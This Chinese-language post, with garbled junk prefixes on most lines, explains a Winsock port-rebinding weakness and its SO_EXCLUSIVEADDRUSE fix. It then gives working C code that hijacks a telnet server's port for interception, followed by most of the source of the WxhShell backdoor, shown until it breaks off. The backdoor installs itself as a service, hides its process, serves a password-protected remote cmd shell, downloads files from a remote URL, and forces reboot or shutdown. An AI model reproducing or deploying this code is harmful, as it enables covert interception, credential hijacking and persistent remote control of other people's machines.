在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[k
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e6_` `WlQ<QEi saddr.sin_family = AF_INET;
]DLs'W;) h[r)HX0hA saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:djbZ>< s1
(UOd7} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$im6v </23*n] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ed>n/)Sm Nuc2CB)J 这意味着什么?意味着可以进行如下的攻击:
c<imqDf =$WDB=i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
K8/I+#j ]vZ}4Xno 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
TZw['o 5~=wia 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#-K,," NU.YL1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
R/kfbV-b YbP}d&L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9 N9Q#o$!. 2 D!$x+| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qz.WF8Sy2 GW!%DT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Wo<kKkx2 4\(|V
fy #include
>^Y)@J #include
g/`z.? #include
s^ K:cz #include
uAv'%/ DWORD WINAPI ClientThread(LPVOID lpParam);
48[b1#q] int main()
r lXMrn {
4B'-tV WORD wVersionRequested;
s -),Pv| DWORD ret;
[OQ+&\ WSADATA wsaData;
B}npom\tC BOOL val;
jn#Ok@tZ SOCKADDR_IN saddr;
x}H%NzR SOCKADDR_IN scaddr;
zH1ChgF=} int err;
XMm(D!6 SOCKET s;
F/0x`l SOCKET sc;
Nj`Miv o int caddsize;
0j2M< W# HANDLE mt;
m'5rzZP DWORD tid;
.*+e?- wVersionRequested = MAKEWORD( 2, 2 );
A3zO&4f
] err = WSAStartup( wVersionRequested, &wsaData );
uU#e54^ if ( err != 0 ) {
eLyaTOZadu printf("error!WSAStartup failed!\n");
z|sR
`]K return -1;
$d%NFc& }
r+;AE N48 saddr.sin_family = AF_INET;
h"ko4b3^'@ T.iVY5^< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
LKI2R_|n Nzel^~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:qO)^~x saddr.sin_port = htons(23);
:y(HOUB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<"
F|K!Tz {
n]J;BW&Av printf("error!socket failed!\n");
KfMaVU=4P return -1;
(vr
v-4 }
\>(S?)6 val = TRUE;
7;H P_oAu //SO_REUSEADDR选项就是可以实现端口重绑定的
S9@)4|3C|p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/_CSRi& {
]>k>Z#8E* printf("error!setsockopt failed!\n");
lO dwH" return -1;
3M<T}> }
D-4\AzIb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z<n%~z^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
zHW}A
`Rz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%[7<GcWl 0FEn& \2< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
zwpgf {
LwS>jNJx ret=GetLastError();
Ncle8=8 printf("error!bind failed!\n");
XoqmT/P return -1;
_^cFdP)8| }
V(
bU=;Qo listen(s,2);
a gM I$ while(1)
S#l6=zI7^R {
6qzy eli caddsize = sizeof(scaddr);
@8s:,Y_ //接受连接请求
BA cnFO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{[Vkht} if(sc!=INVALID_SOCKET)
TBp$S=_** {
0R[onPU_vZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
H@!kgaNF if(mt==NULL)
J|GEt@o3 {
NamO5(1C printf("Thread Creat Failed!\n");
-Rz%<` break;
R2!_)Rpf }
0-a[[hL? }
/QK H30E CloseHandle(mt);
<764|q }
3D/<R|p closesocket(s);
*{e?%!Q WSACleanup();
`L1lGlt return 0;
i!9|R)c }
~*,e &I DWORD WINAPI ClientThread(LPVOID lpParam)
8mpoY.E4! {
I3$/# SOCKET ss = (SOCKET)lpParam;
?IHa>f: SOCKET sc;
jVhfpS[ unsigned char buf[4096];
8F*"z^vD= SOCKADDR_IN saddr;
_pS!sY~d long num;
n:d7 Tv1Z8 DWORD val;
k%S;N{Qh@ DWORD ret;
>s+TD4OfY //如果是隐藏端口应用的话,可以在此处加一些判断
(fJ.o-LQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)@OKL0t saddr.sin_family = AF_INET;
]&l%L4Z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eED@Z/~6 saddr.sin_port = htons(23);
G8E=E<Yg~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O=LiCSNEV {
Sx^4Y\\ printf("error!socket failed!\n");
Hg}@2n)/ return -1;
PC3-X['[ }
NEG&zf val = 100;
g9$P J: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hi(uL>\ {
MH8 Selnv ret = GetLastError();
hXE_OXZ return -1;
'K0=FPB/@ }
A_vf3 *q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
P)$q {
Hlg Q0qb ret = GetLastError();
RU'
WHk return -1;
^s=p'&6 }
;0!rq^JG if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6+;B2;*3 {
!U2Wiks printf("error!socket connect failed!\n");
s[HQq;S closesocket(sc);
#g6*s+Gm closesocket(ss);
i[wEH1jR return -1;
+UTs2*H/^ }
xep!.k x while(1)
1-=zSWmyK {
b&$sY!iU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~YX!49XfHh //如果是嗅探内容的话,可以再此处进行内容分析和记录
ETA 1\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X+*"FKm S. num = recv(ss,buf,4096,0);
-'9sn/ if(num>0)
u0vq`5L send(sc,buf,num,0);
0R0j7\{ else if(num==0)
Wr%E}mX- break;
$M(ZKS3,j num = recv(sc,buf,4096,0);
]5=C3Y if(num>0)
*A,h^ send(ss,buf,num,0);
#q5
L4uM9 else if(num==0)
X~Yj#@ break;
u=5~^ 9 }
zeZ}P>C closesocket(ss);
Yc*Ex-s closesocket(sc);
JlF$|y,gV, return 0 ;
9z:P#=Q: }
]qLro< 'z=QV {ni PJCRvs|X ==========================================================
D\Nhq Vw o$=D`B 下边附上一个代码,,WXhSHELL
m R3km1T j;|rI`67~ ==========================================================
lAM"l)Ij Wn9b</tf #include "stdafx.h"
+])St3h wjr1?c #include <stdio.h>
GV5hmDzRs #include <string.h>
tyH*epanw #include <windows.h>
/kAu&} #include <winsock2.h>
22|a~"Z #include <winsvc.h>
RK*ZlD< #include <urlmon.h>
},2mIit( ]Y%?kQ^ #pragma comment (lib, "Ws2_32.lib")
c&Mci"nj0 #pragma comment (lib, "urlmon.lib")
4;*o}E Mpm#a0f #define MAX_USER 100 // 最大客户端连接数
&s|&cT #define BUF_SOCK 200 // sock buffer
g]=w_ #define KEY_BUFF 255 // 输入 buffer
X\I"%6$ -L&FguoVB #define REBOOT 0 // 重启
kO]],Vy` #define SHUTDOWN 1 // 关机
5df~] -=0Y 6%K,3R-d #define DEF_PORT 5000 // 监听端口
M``I5r*cg nJ.<yrzi #define REG_LEN 16 // 注册表键长度
a-t}L{~ #define SVC_LEN 80 // NT服务名长度
6QCU:2IiL 8H>: C(h // 从dll定义API
H$
!78/f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
6S;-fj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)$* T>.JA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.@Z-<P" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
l3sL!D1u t\hvhcbL // wxhshell配置信息
![wV}.} struct WSCFG {
>g+ogwZ int ws_port; // 监听端口
CvwC| AW char ws_passstr[REG_LEN]; // 口令
n]/7UH}(<& int ws_autoins; // 安装标记, 1=yes 0=no
3w=OvafT: char ws_regname[REG_LEN]; // 注册表键名
:E ISms char ws_svcname[REG_LEN]; // 服务名
pq"3)+3: char ws_svcdisp[SVC_LEN]; // 服务显示名
;NrN#<j(! char ws_svcdesc[SVC_LEN]; // 服务描述信息
je^!W?U4< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,cR=W|6cQm int ws_downexe; // 下载执行标记, 1=yes 0=no
Y7{9C*> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!BN7 B char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1D42+cy ]%yph3C };
v2>.+Eh# D\~*| J // default Wxhshell configuration
Yg5m=Lis struct WSCFG wscfg={DEF_PORT,
OY'490 "xuhuanlingzhe",
aZ% 1,
2Uf}gG) "Wxhshell",
9/rX% "Wxhshell",
L:HJ: "WxhShell Service",
Ou~|Q&f' "Wrsky Windows CmdShell Service",
MLV_I4o "Please Input Your Password: ",
6vVx>hFJ47 1,
x)M=_u2 _ "
http://www.wrsky.com/wxhshell.exe",
4{Vw30DZ "Wxhshell.exe"
fqaysy };
~ {sRK 8~QEJW$ // 消息定义模块
%,u_`P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/n=
%# { char *msg_ws_prompt="\n\r? for help\n\r#>";
_y Q* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p)d0ZAs char *msg_ws_ext="\n\rExit.";
s2t'jIB char *msg_ws_end="\n\rQuit.";
d($f8{~W char *msg_ws_boot="\n\rReboot...";
\`N%77A char *msg_ws_poff="\n\rShutdown...";
$9v:(:!Bm char *msg_ws_down="\n\rSave to ";
&j}\ZD Las4ux[_ char *msg_ws_err="\n\rErr!";
[TiOh' char *msg_ws_ok="\n\rOK!";
OO..
Y 38IVSK_ char ExeFile[MAX_PATH];
dQ97O{O:i int nUser = 0;
D*d@<&Bl4< HANDLE handles[MAX_USER];
FL5u68 int OsIsNt;
"j5b$T0P> Cj?X+#J/@d SERVICE_STATUS serviceStatus;
}
FcWzi SERVICE_STATUS_HANDLE hServiceStatusHandle;
Ea@N:t?(8= %C*oy$. // 函数声明
K8y/U(@|D int Install(void);
unqX<6hu int Uninstall(void);
S_cba(0-|\ int DownloadFile(char *sURL, SOCKET wsh);
4C2J yP3 int Boot(int flag);
`X8AM= void HideProc(void);
g_Wf3o857J int GetOsVer(void);
Uv,_VS( int Wxhshell(SOCKET wsl);
+Ok R7bl void TalkWithClient(void *cs);
;L.@4b[lP int CmdShell(SOCKET sock);
1bb~u/jU int StartFromService(void);
ye1kI~LO( int StartWxhshell(LPSTR lpCmdLine);
5KJN](x+ v/6QE;BY&Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Oa=0d;_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
O G#By6O -?n|kSHX // 数据结构和表定义
)}\T~#Q]y SERVICE_TABLE_ENTRY DispatchTable[] =
rgheq<B: {
-G2'c)DR {wscfg.ws_svcname, NTServiceMain},
O
[GG<Um {NULL, NULL}
S!o!NSn@1 };
>_h*N H a2fV0d6*l // 自我安装
hp6S *d
int Install(void)
:~BY[") {
!u)veh3x char svExeFile[MAX_PATH];
8E1swH5z HKEY key;
.x7d!t:(D strcpy(svExeFile,ExeFile);
Zuod1;qIh x7 jE
Ns ) // 如果是win9x系统,修改注册表设为自启动
N8;/Zd;^ if(!OsIsNt) {
'cJHOd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ai[st+1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!Q=H)\3 RegCloseKey(key);
MDa 4U@Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<<K G S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ve_TpP RegCloseKey(key);
"<x%kD return 0;
#:v}d+ }
n%? bMDS }
_c?&G` }
DQY*0\ else {
0 3kzS ]g 82Dw,Cn // 如果是NT以上系统,安装为系统服务
DE:FWD<} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0|n1O)>J if (schSCManager!=0)
U=MFNp+ {
$NzD&b$7 SC_HANDLE schService = CreateService
lO>w|=< (
smW
7zGE schSCManager,
J@w Q3#5a wscfg.ws_svcname,
&m_4# wscfg.ws_svcdisp,
6hQ?MYX SERVICE_ALL_ACCESS,
V9qA.NV2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^6`"f SERVICE_AUTO_START,
8R}CvzI SERVICE_ERROR_NORMAL,
W>+\A" svExeFile,
8V@ /h6-e, NULL,
-bT1Qh
X NULL,
`)$'1,]u NULL,
0L1NZY^! NULL,
Kf#9-.}? NULL
={y Mk );
jh\L)a* if (schService!=0)
aaW(S K {
E!w%oTx{OR CloseServiceHandle(schService);
qB
PUB( CloseServiceHandle(schSCManager);
D9^.Eg8W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)OxcJPo strcat(svExeFile,wscfg.ws_svcname);
P 0v&*y3Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
N0h* | RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&y"e|aE RegCloseKey(key);
[h20y return 0;
^Rriu $\ }
^6tGj+D9 }
~LqjWU CloseServiceHandle(schSCManager);
k_$:?$ }
R:8\z0"L* }
kX!TOlk3 70IBE[T& return 1;
6'+;5 M! }
(F9U`1~4 ,q$'hY TaJ // 自我卸载
cC@B\Q int Uninstall(void)
!*#2~$: {
4,kdP)Md$ HKEY key;
@X\-c2= $A"C1)d; if(!OsIsNt) {
;s
m )f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Kppi
N+ || RegDeleteValue(key,wscfg.ws_regname);
M{:}.H<a RegCloseKey(key);
rbfP6t:c3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^p3"_;p)h RegDeleteValue(key,wscfg.ws_regname);
e%_2n=p~)% RegCloseKey(key);
fHK`u' return 0;
d'Cn] < }
+zMWIG }
l!z)gto }
"tax else {
N,N9K M:&g5y& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
:5`=9_| if (schSCManager!=0)
a'3|EWS
? {
Yn!)('FdT! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
d~#>.$Uu if (schService!=0)
:Y/>] tS4 {
z^;0{q, if(DeleteService(schService)!=0) {
'vbrzI5m CloseServiceHandle(schService);
`r?xo7 CloseServiceHandle(schSCManager);
@APv?>$) return 0;
NF9fPAF%; }
3-^z<* CloseServiceHandle(schService);
.;),e# }
V $'~2v{_ CloseServiceHandle(schSCManager);
s.VtmAH }
,ddoII }
s#phs`v wrtJ8O( return 1;
\q2:1X| }
O{YT6&.S0 W@"s~I6 // 从指定url下载文件
ST'eJ5P7!5 int DownloadFile(char *sURL, SOCKET wsh)
q6R`` {
e,*E`ol
HRESULT hr;
dXwfOC\\ char seps[]= "/";
wlSl ~A/s char *token;
#Tm^$\*h\] char *file;
+OEheG8 char myURL[MAX_PATH];
e u{ char myFILE[MAX_PATH];
1#]0\Y( uP;qs8 strcpy(myURL,sURL);
|r|<cc# token=strtok(myURL,seps);
c~,OU7[ while(token!=NULL)
o p{DPUO0 {
I%4)% file=token;
VR5CRNBJ token=strtok(NULL,seps);
OD;-0Bj }
{DP%=4 H YA< GetCurrentDirectory(MAX_PATH,myFILE);
U;PGBoe strcat(myFILE, "\\");
`lI(SS]w strcat(myFILE, file);
QB3vp4pBg@ send(wsh,myFILE,strlen(myFILE),0);
bQTkW<7gh send(wsh,"...",3,0);
*F4"mr|\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,RA;X if(hr==S_OK)
\Uz7ar#, return 0;
`]u!4pP" else
seNJ6p=` return 1;
pUp&eH hN#A3FFo L }
%$'YP V?yTJJ21X // 系统电源模块
PN(P$6 int Boot(int flag)
Xyz w.%4c {
v@qU<\Y> HANDLE hToken;
V"A*k^} TOKEN_PRIVILEGES tkp;
d_ [l{ {/u} if(OsIsNt) {
X npn{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
`]T#uP<u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
i(hL6DLD tkp.PrivilegeCount = 1;
neLQ>WT
L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
KscugX*x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e H0^d5bH if(flag==REBOOT) {
WP}NHz4H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$\9M6k' return 0;
6Fe$'TP }
&"R`:`XF else {
[$x&J6jF. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZcQ@%XY3~ return 0;
0]~'} }
Q
1:7 9 }
l,lfkm else {
+[lv
`tr
if(flag==REBOOT) {
N -z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
R?Dc*, return 0;
X<8 }
^U8^P]{R| else {
810pJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1SwKd*aRR? return 0;
q+J;^u"E }
#Rj&PzBe }
"<=HmE-; qOD:+b return 1;
Mr}K-C?ge }
F, 39'<N[ "<Q,|Md // win9x进程隐藏模块
7jzd
I! void HideProc(void)
`^G?+p2E {
_@/nc:)H aS3Fvk0R{h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u|Tg*B if ( hKernel != NULL )
/4M~ 6LT` {
1${rQ9FIF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MRb6O!$`C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Fu$JI8 FreeLibrary(hKernel);
|.~0Ulk, }
H3Zsm)+: #[
TOe return;
T[\?fSP }
of<(4<T )d =8)9B // 获取操作系统版本
6^#@y|. int GetOsVer(void)
]N4?*S*jd) {
av:9kPKm OSVERSIONINFO winfo;
6)#=@i`
\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
tvEf-z GetVersionEx(&winfo);
H"vy[/UcR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2)4oe return 1;
cd3;uB4\, else
'.5_L8 return 0;
g7g^iLU }
Jr.4Y>;}e3 gBPYGci2F // 客户端句柄模块
0~GtK8^B int Wxhshell(SOCKET wsl)
IM 8lA {
}Q#3\z5 SOCKET wsh;
syB.Z-Cpd struct sockaddr_in client;
UWIw/(Mv/] DWORD myID;
N^@aO&+A V^D!\)# while(nUser<MAX_USER)
>21f%Z {
KOYcT'J@vR int nSize=sizeof(client);
=1e>$E# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
KL^hYjC if(wsh==INVALID_SOCKET) return 1;
? 1
~C`I; =ec"G2$?" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
k]] e8> if(handles[nUser]==0)
m0[JiwPI closesocket(wsh);
)|Xi:Zd5> else
k*$[V17 nUser++;
(I0QwB }
v#`7,:: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#z&@f ['#3GJz- return 0;
{wy#HYhv }
0.kQqy~5 0fP-[7P // 关闭 socket
n[tES6u void CloseIt(SOCKET wsh)
,o68xfdZVW {
$CP_oEb closesocket(wsh);
Kjfpq!NYE nUser--;
>xK!J?!K ExitThread(0);
s$PPJJT{b }
4!)=!sL; <o:|0=Swb // 客户端请求句柄
lq*{2M{[ void TalkWithClient(void *cs)
;rjd?r {
Nub)]S>_/t 6>R|B?I% SOCKET wsh=(SOCKET)cs;
{- Y.C*E char pwd[SVC_LEN];
/\e&nYz char cmd[KEY_BUFF];
ie9,ye" char chr[1];
%K7wScz7 int i,j;
o|O|e9m( Yj/[I\I"m while (nUser < MAX_USER) {
e=#'rDm NU{`eM if(wscfg.ws_passstr) {
Y}UVC|Ef if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T2p;#)dP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*!-J"h //ZeroMemory(pwd,KEY_BUFF);
%SJ2W>e i=0;
pxgVYr. while(i<SVC_LEN) {
]UFbG40Zo B>XfsZS // 设置超时
?@LqrKj11 fd_set FdRead;
3wf&,4`EX struct timeval TimeOut;
iwS55o FD_ZERO(&FdRead);
qr|v|Ejd~ FD_SET(wsh,&FdRead);
Eu)(@,]we TimeOut.tv_sec=8;
WPbG3FrL! TimeOut.tv_usec=0;
1xsIM'& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nlsif if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
^oYudb^% || 0n%"h>i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6(as.U>K pwd
=chr[0]; Z:3SI$tO
if(chr[0]==0xd || chr[0]==0xa) { SoPiEq
pwd=0; lwj,8
break; I/V lH:o
}
Vq>$ZlvS
i++; ~+OAAkJ9
} [:*Jn}
Ap)[;_9BD
// 如果是非法用户,关闭 socket R m^$Dn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e$=UA%
} Z36C7 kw
q47:kB{d
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P|'eM%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !]*Cwbh.
u
9hn+eU
while(1) { n4%ZR~9WH
3 jR I@
ZeroMemory(cmd,KEY_BUFF); "J(0J
Nt'6Y;m!
// 自动支持客户端 telnet标准 05PRlz*x=
j=0; 7uq/C#N
while(j<KEY_BUFF) { lo< t5~GQ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); su\iUi
cmd[j]=chr[0]; lNRGlTD%
if(chr[0]==0xa || chr[0]==0xd) { Ef~Ar@4fA
cmd[j]=0; rU!QXg]uD
break; g:rjt1w`D
} jRGslak;
j++; cM 5V%w
} 1XXuFa&
s:ZYiZ-
// 下载文件 DElrY)3O.
if(strstr(cmd,"http://")) { oqUF_kh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;vuqI5k
if(DownloadFile(cmd,wsh)) /?*GJN#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X t|"Z
else iKM!>Fi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UI%Z`.&
} o|G[/o2
else { CFTw=b@
A29R5
switch(cmd[0]) { #UesXv
P+:DLex
// 帮助 ? dh
case '?': { J5Ovj,[EZ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M~eXC
break; wG@f~$
} 4^(aG7
// 安装 nr]:Y3KyxX
case 'i': { |5TzRz
if(Install()) 4..M *U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8yDe{
else s
C>Oyh:%!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v2l*n
break; 9T#${NK
} Z_;!f}X
// 卸载 Y?v{V>;*A
case 'r': { bYUG4+rD
if(Uninstall()) !9t,#?!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %zz,qs)Eu
else Z^!%
b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iY*fp=c9
break; Mz 6PH)e;
} p?2^JJpUb
// 显示 wxhshell 所在路径 }0V aZ<j
case 'p': { cDIZkni=
char svExeFile[MAX_PATH]; PH$C."Vv
strcpy(svExeFile,"\n\r"); $1 t
IC_
strcat(svExeFile,ExeFile); *3\*GatJ
send(wsh,svExeFile,strlen(svExeFile),0); 3O*^[$vM
break; c!ieN9^+
} i__f%j`!W
// 重启 m+Kl
case 'b': { Z 4QL&?U
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m6uFmU*<M}
if(Boot(REBOOT)) G=/^]E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Iknk,
else { k+BY 3a
closesocket(wsh); FsLd&$?T&
ExitThread(0); 3i1TBhs6
} I0*N
"07n
break; ,N1pw w?
} lVCnu>8
// 关机 l
>~Rzw
case 'd': { lAR1gHhJ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); : T{VCw:*
if(Boot(SHUTDOWN)) OS-k_l L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,FwpHs $A
else { 2wu\.{6Zp
closesocket(wsh); t$
97[ay
ExitThread(0); ^5Zka!'X2Z
} g:Q:cSg<
break; 10Q!-K),p
} VTU(C&"S
// 获取shell P?^%i
case 's': { 7K ~)7U
CmdShell(wsh); }@"v7X $
closesocket(wsh); ;d<O/y,:4
ExitThread(0); a6@k*9D>
break; d3\KUR^
} RxS{
// 退出 T% GR{mp
case 'x': { fR?'HsQg
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &dPUd~&EL
CloseIt(wsh); +@c$n`>)
break; /E3~z0
} -?l`LbD
// 离开
AQ0zsy
case 'q': { OsW*@v(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I2krxLPd
closesocket(wsh); ZvLI~ul(zT
WSACleanup(); 8)MWC:
exit(1); qA[cF$CIl)
break; wz{c;v\J^
} ;.<HpDfG_
} _2)QL
} 0|i|z!N>
8Q"1I7U
// 提示信息 )TyP{X>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ktRGl>J
} I0><IaFy
} fQwLx
ggrkj0
return; yu@Pd3
} pe>?m ^gz[
}:u-l3e
// shell模块句柄 +md"X@k5*
int CmdShell(SOCKET sock) o\PHs4Ws'7
{ }$sTnea
STARTUPINFO si; aL&9.L|1g
ZeroMemory(&si,sizeof(si)); jW4>WDN:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O<$j}?2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HIt9W]koO
PROCESS_INFORMATION ProcessInfo;
(^B=>
char cmdline[]="cmd"; Dd,i^,4Gj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +WKN&@
return 0; /1D.Ud^
} !N_eZPU.v
+JM@ kdE5b
// 自身启动模式
w~jm0jK]
int StartFromService(void) +F%tBUY{<
{ aT+w6{%Z
typedef struct A0,e3gb
{ cct/mX2&~
DWORD ExitStatus; YXh!+}
DWORD PebBaseAddress; ykH@kv Qt
DWORD AffinityMask; B2KBJ4rI[1
DWORD BasePriority; 0%Y}CDn_
ULONG UniqueProcessId; JoZzX{eu"
